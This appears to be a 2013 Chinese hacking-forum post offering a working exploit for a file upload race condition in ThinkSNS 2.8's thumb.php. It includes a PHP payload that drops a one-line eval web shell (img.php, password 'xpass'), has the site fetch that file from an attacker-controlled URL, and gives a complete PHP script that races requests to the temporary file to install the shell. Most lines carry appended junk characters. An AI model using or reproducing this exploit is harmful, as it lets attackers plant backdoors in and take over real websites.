找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2053|回复: 0
打印 上一主题 下一主题

Thinksns2.8文件上传漏洞利用exp

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-4 16:12:23 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
漏洞版本) u7 ?; d0 r5 c- h
存在漏洞的版本为:最新的2.8稳定版。(其它版本没测试过); a- I/ i3 L3 Y- H* U
漏洞文件
5 s: C! I* v3 o* w' z2 D存在漏洞的文件为:thumb.php8 m0 t0 N- y9 ^  Y$ [
作者:韦鲲鹏; V* C, X# _1 o$ r/ M
1、        准备如下PHP文件并上传到服务器(自己的)。
, F  ?* S- K2 Q2 P文件内容如下:
2 Y, _' i$ ^2 u% {& t, q<?php echo “<?php fwrite(fopen(‘img.php’,'w’), ‘<?php @eval(\$_POST[\"xpass\"]);?>’); ?>” ?>4 O# ~7 J( g" l! ], S0 T
2、        计算出临时的文件名:3 q1 X. C4 q& W3 T% C: q2 `) C) k
这里我们可以看文件的99行(刚刚是不是没注意呀!)。
% D# M: M5 K% i% D! W8 G" _0 Z! u: S2 n0 n' \' f
3、        上传临时文件。( G2 E7 S: X. l; t& I7 G; v
4、        访问临时文件。* M" a8 I: X! J- a8 R8 C
但是这里有个问题,PHP脚本执行的速度是非常快的,如果手工来执行第三和第四步的话,那需要的反应速度该多快呀!所以必须写一个工具来代替人来提交数 据,而且,为了增加第三步的执行时间,为第四步争取时间,我们需要给第一步所准备的PHP填充内容,经过测试,文件大小为300KB时成功率最高。(太小 时间太短,太大可能传不上去。)8 W5 c! |+ e! T) O
Exploit文件内容如下:(这个我就不详细解释了)
, K( a' K7 _- D. ~' }<?php
: L4 v$ m9 h' C% S$ A! Serror_reporting(0);2 W0 D# T; y( H& }. n0 ^" _" r
set_time_limit(0);
6 D" F' z( J& r: a0 e) ]ini_set(“default_socket_timeout”, 5);
- R+ V* K5 \2 z9 g8 s$ k2 s* kfunction http_send($host, $port, $headers) {
3 E1 F9 P' H* A) E$fp = fsockopen($host, $port);
/ `2 d) \3 B7 {( tif (!$fp) die(‘Connection -> fail’);2 {: @0 g6 H3 w9 p
fputs($fp, $headers);
  k" K2 w7 @8 U# O7 _. Yreturn $fp;1 `+ H" E# y% \2 I$ i, K, O3 s
}+ a" n9 n2 v7 N3 I; B0 A) Y
function http_recv($fp) {! g: h9 f" `' }& u6 b( T5 M: E
$ret=”";* K2 L) L: S- `/ R6 i' M
while (!feof($fp))7 {. E3 @* }9 I% ^  ^* X
$ret.= fgets($fp, 1024);
- l+ g$ _0 v0 [fclose($fp);3 A" ]0 Y% M  @. J& q: S) p
return $ret;/ u/ p4 j* {/ P+ j5 ?  u( ^
}7 F3 v5 y, V& E6 Z& o
print “\n#  ThinkSns Arbitrary File Upload   #\n”;$ L1 W6 K( U! ^' @! v
print “# Discovered by 韦鲲鹏 #\n\n”;* F& ?5 V5 M/ R
if ($argc < 4) {
" E. F& p. \2 P% e; a/ v  Cprint “Usage:   php <host> <path> <romote_url>\n”;
1 {# |6 ]8 }: P6 [; K% |print “Example: php localhost /thinksns/ http://localhost/test/123.php\n”;
* L, H0 z0 Z) P, M8 j* S$ ldie();
- O$ d; [1 r# i+ x}
# ?8 d1 i4 m4 _' m$host = $argv[1];" ~! X" Q& R# T/ T8 V, |
$path = $argv[2];! U, C8 e+ c  V" B
$url = $argv[3];
! P7 o' G+ z  s$ m6 r+ j$i=0;$ x; Y: b2 H/ P$ {: ~. B
//上传数据包9 Y$ C4 F( O; G5 i! A
$headers_up = “GET {$path}thumb.php?url=”.$url.” HTTP/1.1\r\n”;% a' `; @- L$ I; R; r, w8 X& b
$headers_up .= “Host: “.$host.”\r\n”;
7 r" `8 O5 r; h2 ]: h$headers_up .= “Connection: close\r\n\r\n”;! q' J! W0 S% ]- K/ c
echo $headers_up;0 L5 O: m: ^, s, U/ o
//临时文件访问数据包! M$ G$ K# A$ |+ q
$headers = “GET {$path}data/thumb_temp/”.md5($url).strrchr($url,”.”).” HTTP/1.1\r\n”;" ?8 b& W8 j) j* w5 `
$headers .= “Host: “.$host.”\r\n”;7 S2 N! o  d* Z
$headers .= “Connection: close\r\n\r\n”;
  K6 z& p% r' [* E1 k$ H! Vecho $headers;
8 D& I4 o6 C4 c8 |' v$ Gwhile(++$i<10) {
, ^8 e2 E, A( l" Efclose(http_send($host, 80, $headers));
& u4 w5 x/ r/ h/ W9 v% X}! w3 Y% k2 g% u; R
fclose(http_send($host, 80, $headers_up));0 w1 G1 a' ^* s# C& Y4 r
while(++$i<50) {
& Q& z  h1 n2 d5 X+ A3 C+ [; Cfclose(http_send($host, 80, $headers));
1 e- A6 }# P- D' j}% c& p6 F" w# K+ q, }: ^" t. c4 D0 H4 G
$headers = “GET {$path}data/thumb_temp/img.php HTTP/1.1\r\n”;9 G1 n. j( {$ c9 ]$ b
$headers .= “Host: “.$host.”\r\n”;$ R6 K4 s4 t, [
$headers .= “Connection: close\r\n\r\n”;
( J# U# U- j9 ?+ M4 i$res=http_recv(http_send($host, 80, $headers));  G: T6 s, j4 r' b. ?. |4 Z
if(preg_match(‘/200 OK/’,$res)) {  ]4 k. @2 P+ F7 n4 B6 {' N% X
print “Success!\n\n”;
# ~" u' }+ j$ v: p1 ]} else {& w$ [8 A$ f, z# V* k- b( \! y2 ?
print “Fail!\n\n”;
  ^- q' b2 b( V- B}) e, D0 P8 o' X  z. e, a. J0 f
?>! h6 u, s2 s# o# Q1 n% q* u
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表